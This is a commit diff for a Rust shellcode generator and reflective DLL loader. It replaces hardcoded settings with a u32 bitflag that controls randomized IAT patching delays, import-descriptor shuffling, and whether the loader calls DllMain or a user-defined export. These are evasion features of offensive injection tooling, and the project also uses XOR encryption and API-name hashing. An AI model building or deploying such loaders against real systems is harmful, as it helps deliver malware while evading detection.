replace hardcoded parameters with u32 bitflag

generator/Cargo.toml

@@ -4,7 +4,7 @@ version = "0.1.0"
 edition = "2021"
 
 [dependencies]
-clap = {version = "4.4.18", features = ["derive"] }
+clap = { version = "4.4.18", features = ["derive"] }
 rand = "0.8.5"
 airborne-utils = { path = "../utils" }
 

generator/src/main.rs

@@ -4,7 +4,7 @@ use std::{
 };
 
 use airborne_utils::calc_hash;
-use clap::Parser;
+use clap::{ArgAction, Parser};
 use windows_sys::Win32::{
     System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
     System::{
@@ -31,9 +31,15 @@ struct Args {
     /// Path to the output file
     #[arg(short, long = "output")]
     output_path: PathBuf,
-    /// Flag to pass to the loader (by default DllMain is called)
-    #[arg(long, default_value_t = 0)]
-    flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
+    /// Disable randomized delays during IAT patching
+    #[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
+    no_delay: bool,
+    /// Disable IAT import descriptor shuffling
+    #[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
+    no_shuffle: bool,
+    /// Call payload's user defined function instead of DllMain
+    #[arg(short, long, action = ArgAction::SetTrue, default_value_t = false)]
+    ufn: bool,
 }
 
 // NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
@@ -43,6 +49,9 @@ const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
 fn main() {
     let args = Args::parse();
 
+    // (bool, bool, bool) -(OR)-> u32
+    let combined_flag = airborne_utils::create_u32_flag(args.no_delay, args.no_shuffle, args.ufn);
+
     // preserve the path from being dropped
     let output_path = args.output_path.clone();
 
@@ -77,7 +86,7 @@ fn main() {
         &mut payload_b,
         function_hash,
         args.parameter,
-        args.flag,
+        combined_flag,
     ) {
         Ok(sc) => sc,
         Err(e) => {

reflective_loader/src/lib.rs

@@ -10,6 +10,7 @@ use core::{
     slice::from_raw_parts,
 };
 
+use airborne_utils::Flags;
 use windows_sys::{
     core::PWSTR,
     Win32::{
@@ -41,10 +42,6 @@ use windows_sys::{
 
 use crate::memory::*;
 
-// TODO: replace with parameters from the shellcode generator
-const SHUFFLE_IMPORTS: bool = true;
-const DELAY_IMPORTS: bool = true;
-
 const MAX_IMPORT_DELAY_MS: u64 = 2000;
 
 #[cfg(not(test))]
@@ -70,6 +67,8 @@ pub unsafe extern "system" fn loader(
     _shellcode_bin: *mut c_void,
     flags: u32,
 ) {
+    let flags = airborne_utils::parse_u32_flag(flags);
+
     /*
         1.) locate the required functions and modules from exports with their hashed names
     */
@@ -139,7 +138,7 @@ pub unsafe extern "system" fn loader(
         return;
     }
 
-    patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
+    patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs, &flags);
 
     /*
         5.) finalize the sections by setting protective permissions after mapping the image
@@ -151,15 +150,7 @@ pub unsafe extern "system" fn loader(
         6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
     */
 
-    if flags == 0 {
-        let dll_main_addr = base_addr_ptr as usize
-            + (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
-
-        #[allow(non_snake_case)]
-        let DllMain = transmute::<_, DllMain>(dll_main_addr);
-
-        DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
-    } else {
+    if flags.ufn {
         // UserFunction address = base address + RVA of user function
         let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
 
@@ -168,6 +159,14 @@ pub unsafe extern "system" fn loader(
 
         // execution with user data passed into the shellcode by the generator
         UserFunction(user_data, user_data_len);
+    } else {
+        let dll_main_addr = base_addr_ptr as usize
+            + (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
+
+        #[allow(non_snake_case)]
+        let DllMain = transmute::<_, DllMain>(dll_main_addr);
+
+        DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
     }
 }
 
@@ -418,6 +417,7 @@ unsafe fn patch_iat(
     base_addr_ptr: *mut c_void,
     mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
     far_procs: &FarProcs,
+    flags: &Flags,
 ) -> BOOL {
     /*
         1.) shuffle Import Directory Table entries (image import descriptors)
@@ -436,7 +436,7 @@ unsafe fn patch_iat(
 
     let id_ptr = import_descriptor_ptr;
 
-    if import_count > 1 && SHUFFLE_IMPORTS {
+    if import_count > 1 && flags.shuffle {
         // Fisher-Yates shuffle
         for i in 0..import_count - 1 {
             let rn = match get_random(far_procs) {
@@ -465,7 +465,7 @@ unsafe fn patch_iat(
             return 0;
         }
 
-        if DELAY_IMPORTS {
+        if flags.delay {
             // skip delay if winapi call fails
             let rn = get_random(far_procs).unwrap_or(0);
             let delay = rn % MAX_IMPORT_DELAY_MS;

utils/src/lib.rs

@@ -2,8 +2,44 @@
 
 // gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
 
+const DELAY_FLAG: u32 = 0b0001;
+const SHUFFLE_FLAG: u32 = 0b0010;
+const UFN_FLAG: u32 = 0b0100;
+
 const HASH_KEY: usize = 5381;
 
+pub struct Flags {
+    pub delay: bool,
+    pub shuffle: bool,
+    pub ufn: bool,
+}
+
+pub fn parse_u32_flag(flag: u32) -> Flags {
+    Flags {
+        delay: flag & DELAY_FLAG != 0,
+        shuffle: flag & SHUFFLE_FLAG != 0,
+        ufn: flag & UFN_FLAG != 0,
+    }
+}
+
+pub fn create_u32_flag(delay: bool, shuffle: bool, ufn: bool) -> u32 {
+    let mut flags = 0;
+
+    if delay {
+        flags |= DELAY_FLAG;
+    }
+
+    if shuffle {
+        flags |= SHUFFLE_FLAG;
+    }
+
+    if ufn {
+        flags |= UFN_FLAG;
+    }
+
+    flags
+}
+
 pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
     for (i, byte) in data.iter_mut().enumerate() {
         *byte ^= key[i % key.len()];